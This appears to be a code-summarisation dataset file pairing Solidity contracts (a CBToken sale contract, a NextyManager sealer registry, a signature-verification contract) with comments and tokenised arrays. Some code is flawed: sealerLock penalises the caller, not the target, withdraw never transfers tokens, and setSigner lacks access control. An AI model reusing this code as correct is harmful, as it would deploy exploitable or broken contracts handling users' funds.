function isToken() public constant returns (bool Yes) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _address) constant returns (uint balance) {
return balances[_address];
}
function approve(address _spender, uint _value) returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
// mitigate short address attack
modifier onlyPayloadSize(uint numWords) {
assert(msg.data.length == numWords * 32 + 4);
_;
}
}
contract CBToken is StandardToken {
string public name = "CryptoBazar Token";
string public symbol = "CBT";
uint8 public decimals = 4;
uint public totalSupply = 1000000000 * (10 ** uint(decimals));//Total supply
uint public sellPrice = 1000000000000000 wei;//Tokens are sold for this price
//Upgradable contract
address public delegateContract;
bool public contractUpgradable = false;
address[] public previousDelegates;
//Addresses that are allowed to transfer tokens
mapping (address => bool) public allowedTransfer;
//Bonuses for selected addresses
mapping (address => uint) public specialBonus;
//Technical variables to store states
bool public TransferAllowed = true;//Token transfers are blocked
bool public SalePaused = false; //Whether the sale is now suspended (true or false)
uint public currentBonus = 0;//Current bonus to tokens purchases
//Technical variables to store statistical data
uint public StatsEthereumRaised = 0 wei;//Total Ethereum raised
uint public StatsSold = 0;//Sold tokens amount
uint public StatsMinted = 0;//Minted tokens amount
uint public StatsTotal = 0;//Overall tokens amount
//Event logs
event Buy(address indexed sender, uint eth, uint tokens, uint bonus);//Tokens purchased
event Mint(address indexed from, uint tokens);// This notifies clients about the amount minted
event Burn(address indexed from, uint tokens);// This notifies clients about the amount burnt
event PriceChanged(string _text, uint _tokenPrice);//Manual token price
event BonusChanged(string _text, uint _percent);//Sale bonus percent for each purchase
event DelegateChanged(address oldAddress, address newAddress);//Delegatecall contract address changed
address public owner = 0x0;//Admin actions
address public minter = 0x0;//Minter tokens
address public wallet = 0x0;//Wallet to receive ETH
function CBToken(address _owner, address _minter, address _wallet) payable {
owner = _owner;
minter = _minter;
wallet = _wallet;
balances[owner] = 0;
balances[minter] = 0;
balances[wallet] = 0;
allowedTransfer[owner] = true;
allowedTransfer[minter] = true;
allowedTransfer[wallet] = true;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyMinter() {
require(msg.sender == minter);
_;
}
//Transaction received - run the purchase function
function() payable {
buy();
}
//See the current token price in wei (https://etherconverter.online to convert to other units, such as ETH)
function price() constant returns (uint) {
return sellPrice;
}
//Enable or disable contract upgradability
function changeContractUpgradability(bool _contractUpgradable) external onlyOwner {
contractUpgradable = _contractUpgradable;
}
//Change delegatecall upgradable contract address
function changeDelegate(address _newDelegate) external returns (bool) {
require(msg.sender == owner || msg.sender == minter);
if (_newDelegate != delegateContract) {
previousDelegates.push(delegateContract);
var oldDelegate = delegateContract;
delegateContract = _newDelegate;
DelegateChanged(oldDelegate, _newDelegate);
return true;
}
return false;
}
//Delegatecall functions forwarded to upgradable contract
function functionOne(uint256 _valueOne, uint256 _valueTwo, uint256 _valueThree, uint256 _valueFour) onlyPayloadSize(4) returns (bool ok) {
require(contractUpgradable);//Upgradability should be enabled
return delegateContract.delegatecall(bytes4(sha3("functionOne(uint256,uint256,uint256,uint256)")), _valueOne, _valueTwo, _valueThree, _valueFour);
}
function functionTwo(uint256 _valueOne, uint256 _valueTwo, uint256 _valueThree, uint256 _valueFour) onlyPayloadSize(4) returns (bool ok) {
require(contractUpgradable);//Upgradability should be enabled
return delegateContract.delegatecall(bytes4(sha3("functionTwo(uint256,uint256,uint256,uint256)")), _valueOne, _valueTwo, _valueThree, _valueFour);
}
function functionThree(uint256 _valueOne, uint256 _valueTwo, uint256 _valueThree, uint256 _valueFour) onlyPayloadSize(4) returns (bool ok) {
require(contractUpgradable);//Upgradability should be enabled
return delegateContract.delegatecall(bytes4(sha3("functionThree(uint256,uint256,uint256,uint256)")), _valueOne, _valueTwo, _valueThree, _valueFour);
}
function functionFour(uint256 _valueOne, uint256 _valueTwo, uint256 _valueThree, uint256 _valueFour) onlyPayloadSize(4) returns (bool ok) {
require(contractUpgradable);//Upgradability should be enabled
return delegateContract.delegatecall(bytes4(sha3("functionFour(uint256,uint256,uint256,uint256)")), _valueOne, _valueTwo, _valueThree, _valueFour);
}
function functionFive(uint256 _valueOne, uint256 _valueTwo, uint256 _valueThree, uint256 _valueFour) onlyPayloadSize(4) returns (bool ok) {
require(!SalePaused);//Function call permitted if sale is paused
return delegateContract.delegatecall(bytes4(sha3("functionFive(uint256,uint256,uint256,uint256)")), _valueOne, _valueTwo, _valueThree, _valueFour);
}
function functionSix(uint256 _valueOne, uint256 _valueTwo, uint256 _valueThree, uint256 _valueFour) onlyPayloadSize(4) returns (bool ok) {
require(!SalePaused);//Function call permitted if sale is paused
return delegateContract.delegatecall(bytes4(sha3("functionSix(uint256,uint256,uint256,uint256)")), _valueOne, _valueTwo, _valueThree, _valueFour);
}
//Manually set the token price (in wei - https://etherconverter.online)
function setTokenPrice(uint _tokenPrice) external {
require(msg.sender == owner || msg.sender == minter);
sellPrice = _tokenPrice;
PriceChanged("New price is ", _tokenPrice);
}
//Set the bonus percent for each purchase
function setBonus(uint _percent) external {
require(msg.sender == owner || msg.sender == minter);
require(_percent >=0);
currentBonus = safeAdd(100,_percent);
BonusChanged("New bonus is ", _percent);
}
//Set the bonus percent for selected address
function setSpecialBonus(address _target, uint _percent) external {
require(msg.sender == owner || msg.sender == minter);
require(_percent >=0);
specialBonus[_target] = safeAdd(100,_percent);
}
//Allow or prohibit token transfers
function setTransferAllowance(bool _allowance) external onlyOwner {
TransferAllowed = _allowance;
}
//Temporarily suspend token sale
function eventPause(bool _pause) external onlyOwner {
SalePaused = _pause;
}
// Send `_amount` of tokens to `_target`
function mintTokens(address _target, uint _amount) external returns (bool) {
require(msg.sender == owner || msg.sender == minter);
require(_amount > 0);//Number of tokens must be greater than 0
uint amount=_amount * (10 ** uint256(decimals));
require(safeAdd(StatsTotal, amount) <= totalSupply);//The amount of tokens cannot be greater than Total supply
balances[_target] = safeAdd(balances[_target], amount);
StatsMinted = safeAdd(StatsMinted, amount);//Update number of tokens minted
StatsTotal = safeAdd(StatsTotal, amount);//Update total number of tokens
Transfer(0, this, amount);
Transfer(this, _target, amount);
Mint(_target, amount);
return true;
}
// Decrease user balance
function decreaseTokens(address _target, uint _amount) external returns (bool) {
require(msg.sender == owner || msg.sender == minter);
require(_amount > 0);//Number of tokens must be greater than 0
uint amount=_amount * (10 ** uint256(decimals));
balances[_target] = safeSub(balances[_target], amount);
StatsMinted = safeSub(StatsMinted, amount);//Update number of tokens minted
StatsTotal = safeSub(StatsTotal, amount);//Update total number of tokens
Transfer(_target, 0, amount);
Burn(_target, amount);
return true;
}
// Allow `_target` make token tranfers
function allowTransfer(address _target, bool _allow) external onlyOwner {
allowedTransfer[_target] = _allow;
}
//The function of buying tokens on sale
function buy() public payable returns(bool) {
require(msg.sender != owner);//The founder cannot buy tokens
require(msg.sender != minter);//The minter cannot buy tokens
require(msg.sender != wallet);//The wallet address cannot buy tokens
require(!SalePaused);//Purchase permitted if sale is paused
require(msg.value >= price());//The amount received in wei must be greater than the cost of 1 token
uint tokens = msg.value/price();//Number of tokens to be received by the buyer
require(tokens > 0);//Number of tokens must be greater than 0
//Add bonus tokens
if(currentBonus > 0){
uint bonus = safeMul(tokens, currentBonus);
bonus = safeDiv(bonus, 100);
tokens = safeAdd(bonus, tokens);
}
//Add bonus tokens if this buyer have special bonus
if(specialBonus[msg.sender] > 0){
uint addressBonus = safeMul(tokens, specialBonus[msg.sender]);
addressBonus = safeDiv(addressBonus, 100);
tokens = safeAdd(addressBonus, tokens);
}
uint tokensToAdd=tokens * (10 ** uint256(decimals));
require(safeAdd(StatsSold, tokensToAdd) <= totalSupply);//The amount of sold tokens cannot be greater than total supply
wallet.transfer(msg.value);//Send received ETH to the fundraising purse
//Crediting of tokens to the buyer
balances[msg.sender] = safeAdd(balances[msg.sender], tokensToAdd);
StatsSold = safeAdd(StatsSold, tokensToAdd);//Update number of tokens sold
StatsTotal = safeAdd(StatsTotal, tokensToAdd);//Update total number of tokens
Transfer(0, this, tokensToAdd);
Transfer(this, msg.sender, tokensToAdd);
StatsEthereumRaised = safeAdd(StatsEthereumRaised, msg.value);//Update total ETH collected
//Record event logs to the blockchain
Buy(msg.sender, msg.value, tokensToAdd, currentBonus);
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
//Forbid token transfers
if(!TransferAllowed){
require(allowedTransfer[msg.sender]);
}
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
//Forbid token transfers
if(!TransferAllowed){
require(allowedTransfer[msg.sender]);
}
return super.transferFrom(_from, _to, _value);
}
//Change owner
function changeOwner(address _to) external onlyOwner() {
balances[_to] = balances[owner];
balances[owner] = 0;
owner = _to;
}
//Change minter
function changeMinter(address _to) external onlyOwner() {
balances[_to] = balances[minter];
balances[minter] = 0;
minter = _to;
}
//Change wallet
function changeWallet(address _to) external onlyOwner() {
balances[_to] = balances[wallet];
balances[wallet] = 0;
wallet = _to;
}
} | Update total number of tokens
| StatsTotal = safeSub(StatsTotal, amount); | 13,108,491 | [
1,
1891,
2078,
1300,
434,
2430,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
11486,
5269,
273,
4183,
1676,
12,
4195,
5269,
16,
3844,
1769,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/1/0x840E4e438711962DAc1a0c37B0588C08C92c29A5/sources/contracts/DebtAuctionParamSetter.sol | @notify View function that returns the initial amount of protocol tokens with a premium added on top @returns debtAuctionMintedTokens The initial amount of protocol tokens with a premium added on top/ Get token price Compute the amont of protocol tokens without the premium and apply it Take into account the minimum amount of protocol tokens to offer | function getPremiumAdjustedProtocolTokenAmount() external view returns (uint256 debtAuctionMintedTokens) {
(uint256 protocolTknPrice, bool validProtocolPrice) = protocolTokenOrcl.getResultWithValidity();
require(both(validProtocolPrice, protocolTknPrice > 0), "DebtAuctionInitialParameterSetter/invalid-price");
debtAuctionMintedTokens = divide(multiply(divide(multiply(bidTargetValue, WAD), protocolTknPrice), protocolTokenPremium), THOUSAND);
if (debtAuctionMintedTokens < minProtocolTokenAmountOffered) {
debtAuctionMintedTokens = minProtocolTokenAmountOffered;
}
}
| 4,840,622 | [
1,
36,
12336,
4441,
445,
716,
1135,
326,
2172,
3844,
434,
1771,
2430,
598,
279,
23020,
5077,
3096,
603,
1760,
1135,
18202,
88,
37,
4062,
49,
474,
329,
5157,
1021,
2172,
3844,
434,
1771,
2430,
598,
279,
23020,
5077,
3096,
603,
1760,
19,
968,
1147,
6205,
8155,
326,
2125,
1580,
434,
1771,
2430,
2887,
326,
23020,
5077,
471,
2230,
518,
17129,
1368,
2236,
326,
5224,
3844,
434,
1771,
2430,
358,
10067,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
12822,
81,
5077,
10952,
329,
5752,
1345,
6275,
1435,
3903,
1476,
1135,
261,
11890,
5034,
18202,
88,
37,
4062,
49,
474,
329,
5157,
13,
288,
203,
3639,
261,
11890,
5034,
1771,
56,
21112,
5147,
16,
1426,
923,
5752,
5147,
13,
273,
1771,
1345,
1162,
830,
18,
588,
1253,
1190,
19678,
5621,
203,
3639,
2583,
12,
18237,
12,
877,
5752,
5147,
16,
1771,
56,
21112,
5147,
405,
374,
3631,
315,
758,
23602,
37,
4062,
4435,
1662,
8465,
19,
5387,
17,
8694,
8863,
203,
203,
3639,
18202,
88,
37,
4062,
49,
474,
329,
5157,
273,
12326,
12,
7027,
1283,
12,
2892,
831,
12,
7027,
1283,
12,
19773,
2326,
620,
16,
678,
1880,
3631,
1771,
56,
21112,
5147,
3631,
1771,
1345,
23890,
5077,
3631,
7662,
21667,
4307,
1769,
203,
203,
3639,
309,
261,
323,
23602,
37,
4062,
49,
474,
329,
5157,
411,
1131,
5752,
1345,
6275,
10513,
329,
13,
288,
203,
1850,
18202,
88,
37,
4062,
49,
474,
329,
5157,
273,
1131,
5752,
1345,
6275,
10513,
329,
31,
203,
3639,
289,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
//solium-disable linebreak-style
pragma solidity ^0.4.24;
import "zos-lib/contracts/migrations/Migratable.sol";
//import "openzeppelin-zos/contracts/ownership/Ownable.sol";
import "./SafeMath.sol";
import "./Blacklist.sol";
contract NTFToken {
//need approve first with DApp to call this function
function transferFrom(address _from, address _to, uint _tokens) public returns (bool success);
//function for withdraw the deposited ntf amount
function transfer(address _to, uint256 _amount) public returns(bool success);
}
/**
* @title Nexty sealers management smart contract
*/
contract NextyManager is Migratable, Blacklist {
using SafeMath for uint256;
//minimum of deposited NTF to join
uint256 public constant MIN_NTF_AMOUNT = 2;
//minimum blocks number distance from last leaved to current chain blocknumber to withdrawable
uint256 public constant MIN_BLOCKS_DISTANCE = 100;
enum SealerStatus {
PENDING_ACTIVE, //Sealer deposited enough NTFs into registration contract successfully.
ACTIVE, //Sealer send request to become a sealer
//and added into activation sealer set successfully
PENDING_WITHDRAW, //Sealer send request to exit from activation sealer set successfully.
//Sealer casted out of activation sealer set
WITHDRAWN, //Sealer already withdrawn their deposit NTFs successfully.
//They can only make withdrawal after withdrawal period.
PENALIZED //Sealer marked as penalized node (update by consensus or voting result via dapp)
//and cannot become active sealer and cannot withdraw balance neither.
}
struct Record {
SealerStatus status;
//ntf amount deposited
uint256 balance;
//sealer used address to seal blocks
address coinbase;
//blocknumber, that sealer leaved from sealers set. On first deposit got value of 0
uint256 leavedBlocknumber;
}
//ntf token contract, unit used to join Nexty sealers
address public ntfAddress;
//voting smart contract to lock(bann) or unlock(unbann) a sealer
address public voteAddress;
//get invester address of a coinbase
mapping(address => Record) public sealers;
//address[] public coinbases;
address[] public coinbases;
//check if address of a coinbase
mapping(address => bool) public isCoinbase;
//get sealer's address of a coinbase address
mapping(address => address) public getSealer;
event Deposited(address _sealer, uint _tokens);
event Joined(address _sealer, address _coinbase);
event Leaved(address _sealer, address _coinbase);
event Withdrawn(address _sealer, uint256 _tokens);
event Banned(address _sealer);
event Unbanned(address _sealer);
/**
* Check if address is a valid destination to transfer tokens to
* - must not be zero address
* - must not be the token address
* - must not be the owner's address
* - must not be the sender's address
*/
modifier validCoinbase(address _coinbase) {
require(!isCoinbase[_coinbase], "coinbase already used");
require(_coinbase != address(0x0), "coinbase zero");
require(_coinbase != address(this), "same contract's address");
require(_coinbase != owner, "same owner's address");
require(_coinbase != msg.sender, "same sender's address");
_;
}
modifier notBanned() {
require(sealers[msg.sender].status != SealerStatus.PENALIZED, "banned ");
_;
}
modifier joinable() {
require(sealers[msg.sender].status != SealerStatus.ACTIVE, "already joined ");
require(sealers[msg.sender].balance >= MIN_NTF_AMOUNT, "not enough ntf");
_;
}
modifier leaveable() {
require(sealers[msg.sender].status == SealerStatus.ACTIVE, "not joined ");
_;
}
modifier withdrawable() {
require(sealers[msg.sender].status != SealerStatus.ACTIVE, "NTF locked while sealing");
uint256 currentBlock = block.number;
//distance from current block to the block, that sealer leaved sealers set
uint256 distance = currentBlock.sub(sealers[msg.sender].leavedBlocknumber);
//withdrawl period
require(distance >= MIN_BLOCKS_DISTANCE, "NTF still locked after leaving");
_;
}
//only voting smart contract
modifier onlyVoteContract() {
require(msg.sender == voteAddress, "only voting contract");
_;
}
/**
*contract initialize
*/
function NextyManager(address _ntfAddress, address _voteAddress) public {
ntfAddress = _ntfAddress;
voteAddress = _voteAddress;
}
//change voting smart contract address
function moveVoteContract(address _to) public onlyOwner {
voteAddress = _to;
}
//get bann status of a sealer's address
function isBanned(address _address) public view {
return (sealers[_address].status == SealerStatus.PENALIZED);
}
//voting contract's function
function sealerLock(address _address) external onlyVoteContract {
address _coinbase = sealers[msg.sender].coinbase;
sealers[msg.sender].coinbase = 0x0;
sealers[msg.sender].status = SealerStatus.PENALIZED;
sealers[msg.sender].leavedBlocknumber = block.number;
delete getSealer[_coinbase];
removeCoinbase(_coinbase);
emit Banned(_address);
}
function sealerUnlock(address _address) external onlyVoteContract {
sealers[_address].status = SealerStatus.PENDING_WITHDRAW;
emit Unbanned(_address);
}
////////////////////////////////
function addCoinbase(address _coinbase) internal {
isCoinbase[_coinbase] = true;
coinbases.push(_coinbase);
}
function removeCoinbase(address _coinbase) internal {
isCoinbase[_coinbase] = false;
for (uint i = 0; i < coinbases.length; i++) {
if (_coinbase == coinbases[i]) {
coinbases[i] = coinbases[coinbases.length - 1];
coinbases.length--;
return;
}
}
}
/**
* Transfer the NTF from token holder to registration contract.
* Sealer might have to approve contract to transfer an amount of NTF before calling this function.
* @param tokens NTF Tokens to deposit
*/
function deposit(uint256 tokens) public returns (bool) {
NTFToken(ntfAddress).transferFrom(msg.sender, address(this), tokens);
sealers[msg.sender].balance = (sealers[msg.sender].balance).add(tokens);
emit Deposited(msg.sender, tokens);
return true;
}
/**
* To allow deposited NTF participate joining in as sealer.
* Participate already must deposit enough NTF via Deposit function.
* It takes coinbase as parameter.
* @param _coinbase Destination address
*/
function join(address _coinbase) public notBanned joinable validCoinbase(_coinbase) returns (bool) {
sealers[msg.sender].coinbase = _coinbase;
sealers[msg.sender].status = SealerStatus.ACTIVE;
getSealer[_coinbase] = msg.sender;
addCoinbase(_coinbase);
emit Joined(msg.sender, _coinbase);
return true;
}
/**
* Request to exit out of activation sealer set
*/
function leave() public notBanned leaveable returns (bool) {
address _coinbase = sealers[msg.sender].coinbase;
sealers[msg.sender].coinbase = 0x0;
sealers[msg.sender].status = SealerStatus.PENDING_WITHDRAW;
sealers[msg.sender].leavedBlocknumber = block.number;
delete getSealer[_coinbase];
removeCoinbase(_coinbase);
emit Leaved(msg.sender, _coinbase);
return true;
}
/**
* To withdraw sealer’s NTF balance when they already exited and after withdrawal period.
*/
function withdraw() public notBanned withdrawable returns (bool) {
uint256 tokens = sealers[msg.sender].balance;
//NTFToken(ntfAddress).transfer(msg.sender, tokens);
sealers[msg.sender].status = SealerStatus.WITHDRAWN;
emit Withdrawn(msg.sender, tokens);
return true;
}
} | get bann status of a sealer's address | function isBanned(address _address) public view {
return (sealers[_address].status == SealerStatus.PENALIZED);
}
| 12,703,059 | [
1,
588,
324,
1072,
1267,
434,
279,
695,
6774,
1807,
1758,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
27057,
10041,
12,
2867,
389,
2867,
13,
1071,
1476,
288,
203,
3639,
327,
261,
307,
287,
414,
63,
67,
2867,
8009,
2327,
422,
3265,
6774,
1482,
18,
52,
1157,
1013,
24131,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
// Signature Verification
/// @title RedKite Whitelists - Implement off-chain whitelist and on-chain verification
/// @author CuongTran <[email protected]>
contract Signature {
// Using Openzeppelin ECDSA cryptography library
address public signer;
function setSigner(address _signer) virtual external {
signer = _signer;
}
function getMessageHash(
uint256 _poolId,
address _nftAddress,
address _user,
uint256[] memory _ids,
uint256[] memory _prices,
uint256[] memory _tiers
) public pure returns (bytes32) {
return
keccak256(
abi.encodePacked(
_poolId,
_nftAddress,
_user,
_ids,
_prices,
_tiers
)
);
}
function getStakeGoatCardsMessageHash(
uint256 _poolId,
address _nftAddress,
address _user,
uint256[] memory _ids,
uint256[] memory _prices,
uint256[] memory _boosts
) public pure returns (bytes32) {
return
keccak256(
abi.encodePacked(
"GOAT",
_poolId,
_nftAddress,
_user,
_ids,
_prices,
_boosts
)
);
}
// Verify signature function
function _verifyStakeCardsSignature(
bytes32 _msgHash,
bytes memory signature
) public view returns (bool) {
bytes32 ethSignedMessageHash = getEthSignedMessageHash(_msgHash);
return getSignerAddress(ethSignedMessageHash, signature) == signer;
}
function getSignerAddress(bytes32 _messageHash, bytes memory _signature)
public
pure
returns (address)
{
return ECDSA.recover(_messageHash, _signature);
}
// Split signature to r, s, v
function splitSignature(bytes memory _signature)
public
pure
returns (
bytes32 r,
bytes32 s,
uint8 v
)
{
require(_signature.length == 65, "invalid signature length");
assembly {
r := mload(add(_signature, 32))
s := mload(add(_signature, 64))
v := byte(0, mload(add(_signature, 96)))
}
}
